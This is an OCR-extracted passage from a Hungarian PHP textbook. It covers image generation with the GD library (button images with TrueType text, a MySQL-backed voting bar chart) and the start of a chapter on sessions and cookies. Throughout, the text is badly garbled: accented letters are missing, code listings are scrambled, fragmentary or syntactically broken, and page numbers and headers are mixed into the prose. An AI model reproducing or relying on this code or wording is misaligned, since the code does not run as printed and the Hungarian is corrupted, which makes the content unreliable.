letet vagy vet ekkor .,lpcseffekt" adja ki. Az lsimtott kp a httr s a szveg szne kztti szn kppontok felhasznl sval simeja ki a szveget.
Az egyszer szveg tredezettnek tnik, klnsen nagyobb betmret esetn. Az lsimts finomabb teszi a betk grbleteit s sarkait.
Pldnkban az elbbit vlasztottuk, vagyis kzveclenl a bngsznkben jelenik meg a kp. Ez is kt lpsbl ll folyamat. Elszr is kzlnnk kell a bngszvel, hogy kpet, nem pedig szveget vagy HMTL-t kivnunk megjelenteni. A Header () fggvnyt hasznljuk erre, amivel meghatrozhatjuk a kp MIME-tpust:
Header ('Content-type: image/png');
Amikor be szetetnnk tlteni bngsznkbe egy fjlt, a webszerver elszr is a MIME-tpust kldi el. HTML vagy PHP oldal esetn elsknt a kvetkezket kldi a kiszolgl:
Content-type: text/html
22
az
Ez kzli a bngszvel, hogyan rtelmezze a most kvetkez adatokat. Jelen esetben azt szetetnnk tudatni a bngszvel, hogy a szoksos HTML kimenet helyett kpet kldnk. Ezt mg nem hasznlt Header () fggvnnyel tehetjk meg. A fggvny egyszer HTTP fejlcet kld el. Msik tipikus felhasznlsi terlete a HTTP tirnytsok vgrehajtsa. tir nyts esetn azt kzljk a bngszvel, hogy a krt oldal helyett egy msikat tltsn be. ltalban akkor hasznljuk, amikor
egy oldalt chelyeztnk. Pldul:
Header ('Location: http://www.domain.com/uj kezdolap.html ');
az
eddig
A Header () fggvny hasznlatval kapcsolatban meg kell emlteni, hogy a fggvny abban
mr el lett kldve, nem hajtathat vgre. Amint valamilyen kimenetet kldnk a bngsznek, a PHP automatikusan elkldi neki a HTTP fejlcet. gy, ha brmilyen echo utasts vagy akr fehrkz karakter tallhat a kezd PHP cmke (tag) eltt ,
a
kiszolgl elkldi a fejlcet, mi pedig figyelmeztet zenetet kapunk a PHP-tl, amikor megprbljuk meghvni a Header () fggvnyhvsoknak mind
az
fggvnyt. A fggvny tbbszri meghvsval ugyanakkor tbb HTTP fejlcet is elkldhetnk ugyanabban a kdban, de
a
meghvsval kldhetjk a kpadatokat a bngsznek. Ez a fggvnyhvs PNG formtumban kldi a bngsznek a kimenetet. Ha ms formtumban s.zeretnnk kldeni, az
imagejpeg () fggvnyt is meghvhatjuk-amennyiben a J P EG tmogatsa be van kapcsolva. Ebben az eseeben is a megfele
A msodik lehetsg, egyben az sszes elbbinek az alternativja, ha a bngszben val megjelents helyett fjlba rjuk
a
az
Ne fele<ljk el, hogy a PHP-bl fjlba rsra vonatkoz sszes szably (pldul a jogosultsgok megfelel belltsa) itt is rvnyes!
Erforrsok felszabadtsa
Ha befejeztk a kppel a munkt, a kpazonost megsemmistsvel adjuk vissza a kiszolglnak a lefoglalt erforrsokat. A z
imagedestroy () meghvsval tehetjk ezt: imagedestroy($kep);
336
22. fejezet
A PNG, a JPEG vagy a GIF kp kzveclen beillesztse helyett szrjuk be az SRC cmkbe a kpet elllr PHP kdot. A kd futtarsnak eredmnye a sorok kz kerl, ahogy azt a 22.3 bra is muratja.
22
22.3 bra: A dinamikusan ellltott, sorok kz beszrt kp pontosan gyjelenik meg
a felhasznl szmra, mint brmilyen ms, hagyomnyos kp.
22.4 bra: A felleten a felhasznl kivlaszthatja a gomb sznt, illetve begpelheti a kvnt szveget.
Kpek ellltsa
337
Ilyen tpus felleteket pldul weboldalakat automatikusan elllt programokhoz vehetnk ignybe. A weboldal gomb jainak futtats alatti ltrehozshoz soron bell is meghvhatnnk a kdot, de ehhez gyorsttrazsra lenne szksg annak rdekben, hogy mindez ne legyen tl idignyes.
22.5 bra: A gomb_letrehozasa. php kd ltal ellltott gomb. A gombot a 22.2 pldakdban lthat gomb _letrehozasa. php kd lltotta el. 22.2 pldakd: gomb_letrehozasa. php-A gombot ltrehoz kd a gomb_tervezese. html rlapbl vagy HTML IMG cmkbl is meghvhat.
<?php ll ellenrizzk, hogy a megfelel vltozadatokkal dolgozunk
$gomb_szoveg $szin
=
$_REQUEST['gomb_szoveg'];
22
$_REQUEST['szin'];
i (empty($gomb_szoveg} f
l l
empty($szin}}
{
echo exit; 'Nem lehet a kpet ltrehozni - az rlap nem megfelelen lett kitltve';
$szelesseg_kep $magassag_kep
=
imagesx($kep}; imagesy($kep};
$szelesseg_kep - (2 *
18};
18};
ha nem,
cskkentsk addig,
do
$betumeret--; ll a szveg adott betmret melletti mretnek kiszmtsa $befoglalo keret=imagettfbbox ($betumeret,
O,
$betutipus,
$gomb szoveg};
338
22.fezet
$befoglalo_keret[2]; $befoglalo_keret[O];
l l
$szelesseg_szoveg>$szelesseg kep_margok_nelkul );
l l
else
22
ll Most kiszmoljuk,
$szoveg_x $szoveg y
if ($bal szoveg < 0) $szoveg_x += abs($bal szoveg); ll bal oldali behzs meghatrozsa
ll alapvonal meghatrozsa
$szoveg y
2;
$feher
imagecolorallocate ($kep,
255,
255,
255);
imagettftext ($kep,
$betumeret,
O,
$szoveg_x,
$szoveg_y,
$feher,
$betutipus,
$gomb_szoveg);
imagelpng');
Ez az egyik leghosszabb kd, amivel idig tallkoztunk. Nzzk vgig lpsenknt! A kd nmi alapvet hibaellenrzssei kezddik, m:Yd a munknk sorn hasznlt rajzvszon belltsval folytatdik.
A rajzvszon belltsa
A 22.2 pldakdban nem res lappal indulunk, hanem meglv kpet felhasznlva kezdjk meg a gomb ltrehozst. Hrom
vlasztsi lehetsget adunk a gomb alapsznt illeten: vrs (voros-gomb.png ) , zld (zold-gomb.png ) s kk ( kek
gomb.png ) .
Kpek ellltsa
339
Kezdsknt kinyerjk a sznt a$_REQUEST szupergloblis vltozbl, majd a megfelel gomb alapjn belltjuk az j kp azonostt:
$szin = $_REQUEST['szin'];
A paramterknt egy PNG kp fjlnevt fogad imagecreatefrompng() fggvny egy j, a PNG fjl msolatt tartalmaz kphez tartoz azonostt ad vissza. Fontos megjegyezni, hogy ez semmilyen mdon nem vltoztatja meg az eredeti PNG kpet. Megfelel tmogats teleptse esetn ugyangy hasznlhatjuk az imagecreatefromjpeg ( ) s az
imagecreatefromgif () fggvnyt is.
Megjegyzs: Az imagecreatef rompng ( ) fggvny csak a memriban hozza ltre a kpet. Fjlba mentshez vagy bngszben val megjelentshez az imagepng ( ) fggvnyt kell meghvnunk. Rvidesen ezt is bemutatjuk, de eltte van mg egy kis dolgunk a kppel.
fogjuk ezt megvalstani. Elszr is belltjuk a szksges vltozkat. Az els kt ilyen a gomb kpnek szlessge s magassga:
$szelesseg_kep = imagesx($kep); $magassag_kep = imagesy($kep);
22
A kvetkez kt vltoz a gomb szltl szmtott bels margkat jelkpezi. Mivel a gomb szle lekerektett, ezt figyelembe vve elegend helyet kell hagynunk a szveg szltl. Ha ms kpekkel dolgozunk, eltr rtkeket kell hasznlnunk. Jelen esetben minden oldalon krlbelilS kppontnyi margval kell szmolnunk:
$szelesseg_kep_margok_nelkul = $szelesseg_kep - (2 * 18); $magassag_kep_margok_nelkul = $magassag_kep - (2 * 18);
A kiindul betrnretet is meg kell adnunk. Induljunk ki 32 pontbl (illetve valjban 33-bl, de azt azonnal cskkentjk eggyel), mert nagyjbl ez a legnagyobb betmret, ami egyltaln rfrhet a gombra:
$betumeret = 33;
GD2 hasznlata esetn a GDPONTPATH krnyezeti vltoz belltsval kzlnnk kell, hogy hol tallhatk rendszernkn a bettpusok:
putenv('GDFONTPATH=C:\WINDOWS\Fonts');
A hasznlni kvnt bettpus nevt is meg kell adnunk. T rueType fggvnyekkel fogunk dolgozni ezzel a bettpussal. Ezek a fugg vnyek az elzekben megadott elrsi tvonalon fogjk keresni a bettpus fjljt, s tsseiltjk el a fjlnevet:
$betutipus = 'arial';
.
Opercis rendszertl fggen elkpzelhet, hogy a bettpus nevhez neknk kell hozzadni a . ttf kiterjesztst. Ha sz mtgpnkn nem tallhat meg a pldban hasznlt Arial, brmilyen ms T rueType bettpusr vlaszthatunk helyette. Most pedig egy ciklussal addig cskkentjk a betmretet, amg a felhasznl ltal elkldtt szveg r nem fr a gombra:
do
$betumeret--;
$jobb_szoveg - $bal_szoveg;
&&
340
22.fezet
( $magassag_szoveg>$magassag_kep_margok_nelkul );
l l
$szelesseg_szoveg>$szelesseg_kep_margok_nelkul )
Ez a kd a szveg befogla/
kerete {bounding box) alapjn vizsglja a szveg mrett. A TrueType bettpusok kezels-
re hasznlhat egyik fggvnyt, az imagegetttfbbox ()-ot hasznljuk ehhez. A megfelel mret meghatrozsa utn TrueType bettpus {a pldban ez Arial, de brmelyiket vlaszthatjuk) s az imagettftext () fggvny hasznlatval fog juk a szveget a gombra rni. A szveg befoglal kerete az a legkisebb tglalap, amit a szveg kr tudunk rajzolni. A 22.6 brn ltharunk r pldt.
(O.O)Kattints ram
22.6 bra: A
befogla/ keret koordintit az alapvonalhoz viszonytva adjuk meg. Az origt (0, 0) jelli.
Ez a fggvnyhvs a kvetkezket jelenti:,.Mondd meg a $gomb_szoveg vltozban lv szveg mrett $betumeret mret, nulla fokos dls s Arial TrueType bettpus hasznlata esetn!" Jegyezzk meg, hogy a fggvnynek tnylegesen a bettpusr tartalmaz fjl elrsi tvonalt kell tadni! Jelen esetben ez a fjl ugyanabban a knyvtrban tallhat, mint a kd {ez az alaprtelmezett lehetsg), ezrt nem kellett hosszabb elrsi t vonalat meghatroznunk. A fggvny a befoglal keret sarkainak koordintit tartalmaz tmbbel tr vissza. A tmb tartalmt a 22.1 tblzat mutatja. 22.1 tblzat: Tmbndex
o l
22
2
3 4 5
6
7
A tmb tartalmt gy a legknnyebb megjegyezni, ha emlksznk r, hogy a szmozs a befoglal keret bal fels sarkbl indul, s az ramutat jrsval ellenttesen halad. Az egyeden trkks dolog az imagettfbbox() fggvny ltal visszaadott rtkekkel kapcsolatban az, hogy ezek az orighoz viszonytott koordintartkek. A kpek esetn hasznlt, a bal fels sarok hoz kpest viszonytott koordintkkal ellenttben azonban ezeket a szveg alapvonalhoz viszonytva kapjuk meg. Nzzk meg jbl a 22.6 brt! A betk talpnl egy vzszintes vonalat ltunk. Ezt hhjuk betk, rnint pldnkban ag, az alapvonal al nylnak. A betk ezen rszt
Ennek az alapvonalnak a bal szle az orig - vagyis az a pont, ahol az x s az y koordinta is O. Az alapvonal feletti pontok x koordint:ija pozitv, az alatta levk pedig negatv. A szveg radsul a befoglal kereten kivli koordintartkekkel is rendel kezhet. Knnyen elfordulhat pldul az, hogy a szveg kezdpontjnak -l az x koordintja. Mindez pusztn azt jelenti, hogy figyelmesen kell eljrni, amikor ezekkel az rtkekkel szmolunk. A kvetkezkppen szmoljuk a szveg szlessgt s magassgt:
$jobb_szoveg $bal szoveg
= =
$befoglalo_keret[2];
$befoglalo keret[O];
abs($befoglalo_keret[7]
Kpek ellltsa
341
l while ( $betumeret>8
&&
$magassag szoveg>$magassag_kep_margok_nelkul );
l l
$szelesseg_szoveg>$szelesseg kep_margok_nelkul )
Kt felttelhalmazt vizsglunk. Az elsnl azt szeretnnk megllaptani, hogy mg olvashat-e a bet; 8 pontos betnl kisebbet nincs rtelme hasznlni, mert a szveg olvashatatlanul kicsi lesz. A msodik felttelhalmazzal azt vizsgljuk, hogy aszveg elfr-e a gomb rhat felletn.. Ezt kveten megnzzk, hogy sikerlt-e iteratv prblkozsainkkal megfelel betrnretet tallni, s ha nem, akkor hiba zenetben jelezzk ezt:
if ( $magassag_szoveg>$magassag_kep_margok nelkul
l l
$szelesseg_szoveg>$szelesseg_kep_margok_nelkul ) ll olvashat mretben nem fr r a szveg a gombra echo 'A megadott szveg nem fr r a gombra.<br l>';
A szveg elhelyezse
Ha eddig minden rendben ment, akkor kvetkez feladatunk a szveg kezdpontjnak meghatrozsa. Ez lesz a rendelkezsre ll tr kzppontj a.
Sszoveg x = $szelesseg_kepl2.0 - $szelesseg_szovegl2.0; Sszoveg_y = $magassag_kepl2.0 - $magassag_szovegl2.0;
22
abs($befoglalo keret[7]);
ll alapvonal meghatrozsa
Ezek a korrekcis tnyezk figyelembe veszik az alapvonalat, s egy kis igaztst hajtanak vgre, mivel a szveg kiss"fejnehz:'
A fggvny szmos paramtert hasznl. Ezek sorrendben: a kpazonost, a pontokban meghatrozott betmret, a szveg dlsnek szge, kezdpontjnak x s y koordintja, szne, a bettpusr tartalmaz fjl, majd vgl a gombra rand szveg.
Befejezs
Vgl megjelentjk a gombot a bngszben:
Header (ontent-type: imagepng ($kep); imagelpni l;
E n nyi! Ha minden rendben volt, akkor a 22.5 brn lv gombhoz hasonlt kell ltnunk bngsznkben.
342
22.fezet
lesz.A tbla elgg magtl rtetd, a 22.3 pldakdban tallhat SQL kd furtatsval pedig egyszeren ltrehozhat. Meg tehetjk ezt, ha rendszergazdaknt (root) bejelentkezve az albbi utastst futtatjuk:
mysql -u root -p < szavazas_beallitasa.sql
Termszetesen brmilyen ms felhasznlt is hasznlhatunk, amennyiben az megfelel jogosultsgokkal rendelkezik. 22.3 pldakd: szavazas_beallitasa.sql- A szavazs adatbzisnak ltrehozsa
CREATE DATABASE szavazas; USE szavazas; CREATE TABLE szavazas_eredmenyek
22
);
INSERT INTO szavazas_eredmenyek VALUES ('Kovcs Jnos', ('Nagy Mria', ('Kiss Istvn', 0),
0), 0)
Az adatbzis hrom jelltet tartalmaz. A szavazfelletet a szavazas. html nev oldal knlja.Az oldal kdjt a 22.4 pldakd tartalmazza. 22.4 pldakd:
<html> <head> <title>Szavazs</title> <head> <body> <hl>Kzvlemny-kutats</hl> <p>Kire fog voksolni a vlasztsokon? </p> szavazas.h tml
<form method="post" action="eredmenyek_megjelenitese.php"> <input type="radio" name="szavazat" value="Kovcs Jnos">Kovcs Jnos<br /> <input type="radio" name="szavazat" value="Nagy Mria">Nagy Mria<br /> <input type="radio" name="szavazat" value="Kiss Istvn">Kiss Istvn<br /><br /> <input type="submit" value="Eredmnyek megjelentse"> </form> </body> </html>
Kpek ellltsa
343
Az oldal kimenett a 22.7 brn ltjuk. A dolog lnyege, hogy amikor a felhasznl a kpernyn lthat gombra kattint, szavazatt hozzadjuk az adatbzishoz, lekrdezzk onnan az sszes szavazatot, majd oszlopdiagramorr megjelentjk a szavazs pillanatnyi llst. A 22.8 brn az gy kaport oszlopdiagramra lrunk pldt.
Kzvlemoy-kutnts
n..
....! ...
leadhatjk szavazataikat, majd az .Eredmnyek megjelentse" gombra kattintva megjelentjk szmukra a szavazs pillanatnyi llst.
-"4-it.t7CE
A szavaz eredmMye
"'*'"*'"
NI!WM*" l(isslllVIIn
]"' ll'lb
22
22.8 bra: A
szavazs eredmnyt a rajzvszonra vonalakat s tglalapokat r<9zolva, illetve szveget rva jelentjk meg.
Viszonylag hossz kd szksges a diagram ellltsra. Ngy rszre bontotruk, hogy egyenknt tek.inthessk t ezeket. A kd nagy rsze ismers lesz, sok ehhez hasonl MySQL-es pldt ltrunk mr. Azt is tudjuk mr, hogyan festhetnk a rajz vszonra egyszn htteret, s hogyan rharunk r szveget. A kd j rszei a vonalak s tglalapok rajzolsval kapcsolatosak. Figyelmnket ezekre a rszekre fordtjuk. A ngy rszbl ll kd els rszt a 22.5.1 pldakd tartalmazza. 22.5.1 pldakd: eredmenyek_megjelenit ese. php
nyeket
<?php
/*******************************************
Adatbzis lekrdezse a szavazsi adatok begyjtse rdekben
'szavazas',
'szavazas',
'szavazas'))
344
22. fejezet
$szavazat = addslashes($szavazat); $lekerdezes "update szavazas_eredmenyek set szavazatok szama = szavazatok szama + where jellt = '$szavazat'"; if (! ($eredmeny = @$adatbazis kapcsolat->query ($lekerdezes)))
ll szavazs aktulis llsnak lekrdezse fggetlenl attl, szavazott-e $lekerdezes = 'select * from szavazas_eredmenyek'; if(!($eredmeny = @$adatbazis_kapcsolat->query($lekerdezes)))
hogy a felhasznl
22
ll az eddigi sszes szavazat szmnak kiszmtsa $osszes szavazat=O; while ($sor = $eredmeny->fetch_object())
$osszes szavazat
+=
$sor->szavazatok szama;
$eredmeny->data_seek(0);
ll eredmnymutat visszalltsa
A 22.5.1 pldakdban lthat l. rszben kapcsoldunk a MySQL adatbzishoz, a felhasznl voksa alapjn frisstjk a sza vazatok szmt, majd lekrdezzk az el trolt eredmnyeket. Az adatok birtokban elkezdhetjk a diagram rajzolshoz szk sges szmtsokat. A 2. rszt a 22.5.2 pldakdban tallj uk.
22.5.2 pldakd: eredmenyek _megj elen itese. php-A 2. rsz bellga a diagram rajzolshoz szksges vltozkat
/******************************************* A diagramhoz szksges kiindul szmtsok *******************************************/ ll llandk belltsa putenv('GDFONTPATH=C:\WINDOWS\Fonts'); $szelesseg=500; $bal_margo = 50; $jobb_margo = 50; ll a kp szlessge kppontokban - a 640x480-ba frjen bele! ll a diagram bal oldaln resen hagyott hely ll ugyanez a jobb oldalon
$oszlop_magassaga = 40; $oszlopok_koze = $oszlop_magassagal2; $betutipus = 'arial'; $felirat_merete = 16; $nagy_meret= 12; $kis_meret= 12; ll pont
ll pont ll pont
Kpek ellltsa
345
$szoveg_behuzasa
10;
($szelesseg-($x+$jobb_margo}}
A kd 2. rszben a diagram rajzolshoz szksges vltozkat llitjuk be. Kiss babramunknak tnhet mindezen vltozk kiszmtsa, de ha kicsit elre gondolkodva elkpzeljk, hogyan szeret nnk a ksz kpet elkszteni, azzal nagyban leegyszersthetjk a rajzols folyamatt. Az itt hasznlt rtkeket gy kaptuk meg, hogy egy darab paprra vzlatszeren felrajzoltuk a diagramot, majd megllaptorruk a megfelel arnyokat. A $szelesseg vltoz a hasznlt rajzvszon teljes szlessge. Bellg uk a bal s jobb margt (a Sbal_margo, il letve a $jobb_margo vltozval);
$oszlopok_koze ;
az
meret, Skis_meret
Ezen alaprtkek birtokban elvgezhegk a szksges szmtsokat. Rajzolni szeretnnk egy alapvonalat, amelytl az sszes oszlop indulni fog. Ennek helyt gy szmolhatjuk ki, hogy a bal marghoz hozzszmtjuk a feliratokhoz szksges helyet. Ha fontos a rugalmassg, szrnitsuk ki egyszeren a leghosszabb nv pontos szlessgt! Kt nagyon fontos rrket is Icikalkullunk:
$oszlop_egyseg
az
,.
els az oszlopokon egy egysget jelkpez tvolsg: l 100; ll egy "pont" a diagramon
22
($szelesseg-($x+$jobb_margo}}
rtk alapveten
az
oszlopok magassga s az oszlopok kztti trkz sszegnek az oszlopok szmval val szorzata,
plusz nmi hely a cmnek. A 3. kdrszletet a 22.5.3 mintakdban talljuk. 22.5.3 pldakd: eredmenyek _megjelenitese.php A 3. rsz a diagramot kszti el az adatok hozzadsra
/*******************************************
Alapkp belltsa
ll Sznek kivlasztsa
$feher=imagecolorallocate($kep,255,255,255}; $kek=imagecolorallocate($kep,0,64,128}; $fekete=imagecolorallocate($kep,O,O,O); $rozsaszin = imagecolorallocate($kep,255,78,243};
$fekete;
Sfeher;
346
22. fejezet
imagerectangle($kep,O,O,$szelesseg-l,$magassag-l,$vonalszin); ll Felirat hozzadsa $felirat = 'A szavazs eredmnye'; $felirat_meretei = @imagettfbbox($felirat_merete, O, $betutipus, $felirat); $felirat_hossza = $felirat_meretei[2] - $felirat_meretei[O]; $felirat_magassaga
$felirat_vonal_felett;
imagettftext($kep, $felirat_merete, O, $felirat_x, $felirat y, $szoveg szine, $betutipus, $felirat); ll Alapvonal rajzolsa kicsivel az els oszlop felett kezdve, ll kicsivel az als alatt befejezve imageline($kep, $x, $y-5, $x, $magassag-15, $vonalszin);
A 3. rszben belltjuk a kp alapjait, kivlasztjuk a szneket, majd elkezdjk rajzolni a diagramot. A grafikon httert az
imagefilledrectangle($kep,O,O,$szelesseg,$magassag,$hatterszin);
22
fggvnnyel tltjk ki. Az imagefilledrectangle () fggvny,ahogy paramtereibl is ltszik, sznnel kitlttt htteret rajzol. Az els param ter-ahogy azt mr megszokhattuk-a kp azonostja. Ezt kveten a tglalap kezd- s vgpontjnak x s y koordint:ijt kell megadnunk. Ez a kt pont a tglalap bal fels,illetve jobb als sarknak felel meg. Jelen esetben a teljes rajzvsznat kiclt jk az utols paramterben radott httrsznnel {pldnkban fehrrel). Ezutn az
imagerectangle($kep,O,O,$szelesseg-l,$magassag-l,$vonalszin);
fggvnyt meghvva fekete krvonalat rajzolunk a rajzvszon szle kr. Ez a fggvny kitlts nlkli, krvonallal rendel kez tglalapot rajzol. Paramcerei megegyeznek az elbb ltott msik fggvnyveL Figyeljnk fel arra,hogy a tglalapot a $szelesseg-l s $magassag-l koordintig rajzoljuk-egy $szelesseg szlessg s $magassag magassg rajz vszon idig tart. Ha a $szelesseg s $magassag koordintj pontig rajzolnnk a tglalapot,az kvl esne a rajzvsznon. Ugyanazt a logikt kvetjk, s ugyanazokat a fggvnyeket hasznljuk, mint amikor az elz kdrszletben kzpre igaz tottuk s a diagramra rtuk annak feliratt. Vgezetl az albbi fggvnnyel megrajzoljuk az oszlopok alapvonalt:
imageline($kep, $x, $y-5, $x, $magassag-15, $vonalszin);
Az imageline () fggvny a $vonalszin vltozban meghatrozott szn vonalat rajzol a megadott kpen {$kep) an nak kt koordintja,jelen esetben a {$x, $y-5 ) s a {$x, $magassag-15 ) pont kztt. Pldnkban az alapvonalat kicsivel az els oszlop fltt kezdjk meg, s egy kicsivel a rajzvszon alja fltt r vget. Kszen llunk arra, hogy betltsk az adatokat a diagramba. A kd 4. rszlett a 22.5.4 pldakdban talljuk.
22.5.4 pldakd: eredmenyek_megj eleni tese. php-A 4.
vgzett munkt
/******************************************* Eredmnyek berajzolsa a diagramra *******************************************/ ll Adatok kiolvassa az adatbzisbl s a megfelel oszlopok megrajzolsa while ($sor = $eredmeny->fetch_object()) if ($osszes szavazat > 0) $szazalek else $szazalek O; intval(($sor->szavazatok_szamal$osszes szavazat)*lOO);
Kpek ellltsa
347
@imagettfbbox($nagy_meret,
O,
$betutipus,
$szazalek.'%');
$szazalek_hossza = $szazalek_meretei[2] - $szazalek_meretei[O]; imagettftext($kep, $nagy_meret, O, $szelesseg-$szazalek_hossza-$szoveg_behuzasa, $szazalek szine, $betutipus, $szazalek. '%');
$y+($oszlop_magassagal2),
ll az rtkhez tartoz oszlop hossza $oszlop_hossza =$x + ($szazalek * $oszlop egyseg); ll az rtkhez tartoz oszlop megrajzolsa imagefilledrectangle($kep, szine); ll az rtkhez tartoz felirat megjelenitse @imagettftext($kep, $nagy_meret, O, $szoveg_behuzasa, $y+($oszlop_magassagal2), $x, $y-2, $oszlop_hossza, $y+$oszlop_magassaga, $oszlop_
$szoveg_szine,
$betutipus,
"$sor->jelolt");
22
$x+(100*$oszlop_egyseg)-50, $y+($oszlop_ $sor->szavazatok_szama. 'l' .$osszes szavazat);
/ *******************************************
Kp megjelenitse ******************************************* / Header('Content-type: imagepng($kep); imagelpng');
/ *******************************************
Erforrsok felszabadtsa ******************************************* / imagedestroy($kep);
?> A 4. rsz egyenknt vgigmegy az adatbzisban szerepl jellteken, kiszmrja a rjuk adott voksok szzalkos rtkr, majd megrajzolja az oszlopokat s a hozz:ijuk tartoz feliratokat. Megint csak az imagettftext () fggvnnyel ksztjk el a feliratokat, s az imagefilledrectangle() fggvnnyel rajzoljuk meg az oszlopokat (amelyek kitltssei rendelkez tglalapok):
imagefilledrectangle($kep, $x, $y-2, $oszlop_hossza, $y+$oszlop_magassaga, $oszlop_szine);
A 100
imagerectangle($kep,
Miutn az sszes oszloppal elkszltnk, az imagepng () fggvnnyel megjelentjk a kp kimenett, majd az imagedestroy () meghvsval felszabadtjuk az erforrsokat.
348
22. fejezet
Ezt a hossz kdot knnyedn mdosthatjuk sajt ignyeinknek megfelelen, illetve hasznlhatjuk arra, hogy felhasznli felleten keresztl automatikusan lltsunk el szavazsokat. Fontos megemlteni ugyanakkor, hogy a kd semmilyen md szerrel nem akadlyozza meg az emberi csalst. A felhasznlk knnyen r:ijhemek, hogy jra meg jra szavazhatnak, s gy knnyen rtelmedenn tehetik az egsz voksolst. Hasonl megkzeltssel - s nmi matematikai rzkkel - vonal- vagy akr krdiagramokat is rajzolharunk.
Tovbbi olvasnival
Az interneten temrdek anyagat tallunk a tmban. Ha problmba tkznk a kpkezel fggvnyek alkalmazsa sorn, rdemes lehet tnzni a GD dokumentcijt, mert a PHP fggvnyei ennek a knyvtrnak a burkoli (w rapper). A GD do kumentcija a http://www.libgd.org/Documentation oldalon rhet el. Ne feledjk azonban, hogy a GD2 PHP-s verzija az alapknyvtr mdostott vltozata, gy egyes rszletekben eltrhet attl!
22
A grafikai alkalmazsok klnbz tpusairl kvl oktatanyagokat tallunk a Zend s a Devshed oldaln (http://www. zend.com, illetve (http://devshed.com). A fejezetben ltott oszlopdiagramos alkalmazs tlett a Steve Maranda ltal rt, a Devshed oldaln elrhet dinamikus oszlopdiagram-kszt kd adta.
Hogyan tovbb?
A kvetkez fejezetben a PHP munkamenet-vezrl funkciival ismerkednk meg.
23
Munkamenet--vezrls PHP--ben
A fejezetben a munkamenet-vezrls PHP-beli mkdst ismerhetjk meg. Az albbi fbb tmakrkkel foglalkozunk:
Mi a munkamenetvezrls?
Bi2:onyra hallottuk mr a megllaptst, amely szerint a.,HTTP llapot nlkli protokoll:' Ez azt jelenti, hogy a protokoll nem rendelkezik beptett mdszerrel a brmely kt tranzakci kztti llapot fenntartsra. Amikor valamely felhasznl lekr egy oldalt, majd utna egy msikat, a HTTP nem teszi lehetv szmunkra, hogy megllaptsuk vajon mindkt krs ugyanattl
a
felhasznltl rkezett-e.
A munkamenet-vezrls alapgondolata, hogy adott weboldalon vgbemen egyetlen munkamenet (session) alatt kpesek
legynk nyomon kvetni a felhasznlt. Ha ezt meg tudjuk tenni, akkor egyszeren megoldhat az is, hogy a felhasznl be jelentkezse urn a jogosultsgi szintjnek vagy szemlyes preferencijnak megfelel tartalmat jelentsk meg szmra. Figye lemmel kvetherjk a felhasznl viselkedst, s meg tudjuk valstani pldul az online kosr funkcit.
A PHP a 4-es verzi ta natv munkamenet-kezel fllggvnyekkel rendelkezik. A szupergloblis vltozk bevezetsvel
kiss mdosult a munkamenet-vezrls megkzeltse, mivel ehhez immr a$_SESSION szupergloblis vltoz is rendelkez snkre ll.
A munkamenet alapjai
A PHP egyedi munkamenet-azonostval (session
a
ID)
PHP lltja el, majd a kliensoldalon troldik el a munkamenet.,lettartam' alatt. Trolhar a felhasznl szmtgpn
A munkamener-azonost lehetv teszi klnleges, gynevezett munkarnenet-vltozk (session variable) regisztrlst. Ezek
sriknr, de URL-ekkel is tadhat. rarralmt a kiszolgln troljuk, a kliensoldalrl lthat egyetlen informci a munkamenet-azonost. Ha az oldalunkhoz trtn kapcsolds ideje alatt a munkamenet-azonost stibl vagy URL-bl elrhet, akkor az adott munkamenethez tar toz, a kiszolgln trolt munkamenet-vltozkhoz is hozzfrnk. Ezek alaprtelmezsben egyszer fjlknt vannak trolva
a
s2:erveren. (Ha hajlandk vagyunk megrni sajt fggvnyeinket, az egyszer fjlok helyett adatbzist is hasznlhatunk; errl Minden bizonnyal tallkoztunk mr a munkamenet-azonostt az URL-ben trol weboldalakkal. Amennyiben URL-nk
bvebben a Munkamenet-vezrls belltsa cm rszben beszlnk majd.) vletlenszernek tn karakterlncot tartalmaz, nagy valsznsggel valamilyen munkamenet-vezrlssel llunk szemben.
A stik ettl eltr megoldst knlnak az llapor tranzakcik kztti fenntartsra, radsul az URL-ek egyszersgt is meg
rzik.
Mi astU
A sti (cookie) olyan ks informcicsomag, amit kdjaink a kliensoldali gpen trolnak. A felhasznl gpn gy llthatunk
be stit, hogy az albbi formtum adatokat tartalmaz HTTP fejlcet kldnk nek:
Set-Cookie:
NEV=ERTEK; [expires=DATUM;] [path=ELERESI UTVONAL;] [domain=DOMAIN_NEV;] [secure]
350
23. fejezet
Ez a fejlc egy NEV nev, ER TEK rtk stit hoz ltre. Az sszes tbbi paramter opcionlis. Az elrhet, amg a felhasznl vagy mi magunk manulisan ki nem trljk azt.) A URL-eket llthatjuk be, amelyekre a sti vonatkozik. A kapcsolaton keresztl fogjuk kldeni.
secure path
expires
mezben azt
az idpontot llthatjuk be, amely utn a sti mr nem hasznlhat. (Ha nem llrunk be lejrari idpontot, a sti mindaddig s a
dornai n
belltssal azokat az
Amikor a bngsz egy URL-hez csatlakozik, elszr helyileg trolt stiket keres. Ha azok brmelyike az aktulisan hasz nlt URL-hez ktdik, akkor visszakldi ket a kiszolglnak.
[,
string ertek
[,
int lejarat
[,
[,
string domain
[,
int secure]]]]])
A paramterek egy az egyben a Set-Coo kie fejlcnl emltetteknek felelnek meg. Ha az albbi utastssal bellrunk egy stit:
setcookie ('sajat_suti', 'ertek');
akkor, amikor a felhasznl megltogatja weboldalunk kvetkez lapjt (vagy jra betlti az aktulis oldalt), a $_COOKIE [
'sajat_suti' l
A stiket a header () fggvnnyel is bellthatjuk, ha a fggvnyben az elbb mr ismertetett szintaktikt hasznljuk. Fon tos, hogy a stifejlceket minden ms fejlc eltt kldjk el, msklnben nem fognak mkdni a stik. (Ez a korltozs a stik, nem pedig a PHP mkdsbl addik.)
23
csolhatjk ket bngszjkben. Rszben emiatt a PHP munkamenetek a sti/URL ketts mdszert hasznljk. (A mdszert rvidesen bemutatjuk.) PHP munkamenetek alkalmazsa esetn nem kell a stiket sajt kezleg belltani, mert a munkamenet-fggvnyek elvg zik helyettnk a feladatot. A session_get_cookie_params () tartalmr. A fggvny az elettartam, A stik paramtereit a fggvnnyel is bellthatj uk.
session set_cookie_params($elettartam, _ $eleresi_utvonal, $domain
eleresi_utvonal, domain
Ha szeretnnk tbbet megtudni a stikrl, olvassuk el a Netscape oldaln elrhet specifikcit: http://wp.netscape.com/ newsref/std/cookie_spec.html! (Ne foglalkozzunk azzal, hogy a dokumentum elzetes specifikcinak nevezi nmagt! Ez
1995 ta gy van, s a dokumentum ennl mr csak akkor lenne kzelebb ahhoz, hogy szabvnynak hvjuk, ha tnylegesen
szabvny volna!)
Munkamenet-a:z;onost trolsa
